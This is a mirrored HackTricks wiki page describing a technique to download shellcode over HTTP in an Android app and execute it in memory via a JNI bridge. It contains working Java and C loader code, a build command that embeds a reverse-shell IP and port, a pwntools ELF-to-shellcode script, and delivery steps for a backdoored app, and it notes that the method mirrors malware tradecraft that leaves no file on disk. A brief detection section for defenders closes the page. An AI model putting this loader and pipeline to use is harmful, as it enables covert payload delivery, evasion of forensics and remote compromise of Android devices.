mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
126 lines
5.2 KiB
Markdown
126 lines
5.2 KiB
Markdown
# Android In-Memory Native Code Execution via JNI (shellcode)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.
|
||
|
||
Why it matters
|
||
- Reduces forensic artifacts (no ELF on disk)
|
||
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
|
||
- Matches tradecraft used by modern malware and red teams
|
||
|
||
High-level pattern
|
||
1) Fetch shellcode bytes in Java/Kotlin
|
||
2) Call a native method (JNI) with the byte array
|
||
3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
|
||
|
||
Minimal example
|
||
|
||
Java/Kotlin side
|
||
```java
|
||
public final class NativeExec {
|
||
static { System.loadLibrary("nativeexec"); }
|
||
public static native int run(byte[] sc);
|
||
}
|
||
|
||
// Download and execute (simplified)
|
||
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||
int rc = NativeExec.run(sc);
|
||
```
|
||
|
||
C JNI side (arm64/amd64)
|
||
```c
|
||
#include <jni.h>
|
||
#include <sys/mman.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
|
||
static inline void flush_icache(void *p, size_t len) {
|
||
__builtin___clear_cache((char*)p, (char*)p + len);
|
||
}
|
||
|
||
JNIEXPORT jint JNICALL
|
||
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||
jsize len = (*env)->GetArrayLength(env, sc);
|
||
if (len <= 0) return -1;
|
||
|
||
// RW anonymous buffer
|
||
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||
if (buf == MAP_FAILED) return -2;
|
||
|
||
jboolean isCopy = 0;
|
||
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||
if (!bytes) { munmap(buf, len); return -3; }
|
||
|
||
memcpy(buf, bytes, len);
|
||
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||
|
||
// Make RX and execute
|
||
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||
flush_icache(buf, len);
|
||
|
||
int (*entry)(void) = (int (*)(void))buf;
|
||
int ret = entry();
|
||
|
||
// Optional: restore RW and wipe
|
||
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||
memset(buf, 0, len);
|
||
munmap(buf, len);
|
||
return ret;
|
||
}
|
||
```
|
||
|
||
Notes and caveats
|
||
- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
|
||
- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
|
||
- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
|
||
- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
|
||
|
||
Packaging ELF → position‑independent shellcode
|
||
A robust operator pipeline is to:
|
||
- Build your exploit as a static ELF with musl-gcc
|
||
- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append
|
||
|
||
Build
|
||
```bash
|
||
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||
```
|
||
|
||
Transform ELF to raw shellcode (amd64 example)
|
||
```python
|
||
# exp2sc.py
|
||
from pwn import *
|
||
context.clear(arch='amd64')
|
||
elf = ELF('./exploit')
|
||
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||
sc = asm(loader)
|
||
open('sc','wb').write(sc)
|
||
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||
```
|
||
|
||
Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpy’ed and executed by the app.
|
||
|
||
Delivery
|
||
- Host sc on an HTTP(S) server you control
|
||
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
|
||
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
|
||
|
||
Validation workflow for kernel payloads
|
||
- Use a symbolized vmlinux for fast reversing/offset recovery
|
||
- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
|
||
|
||
Hardening/Detection (blue team)
|
||
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
|
||
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
|
||
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
|
||
|
||
References
|
||
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|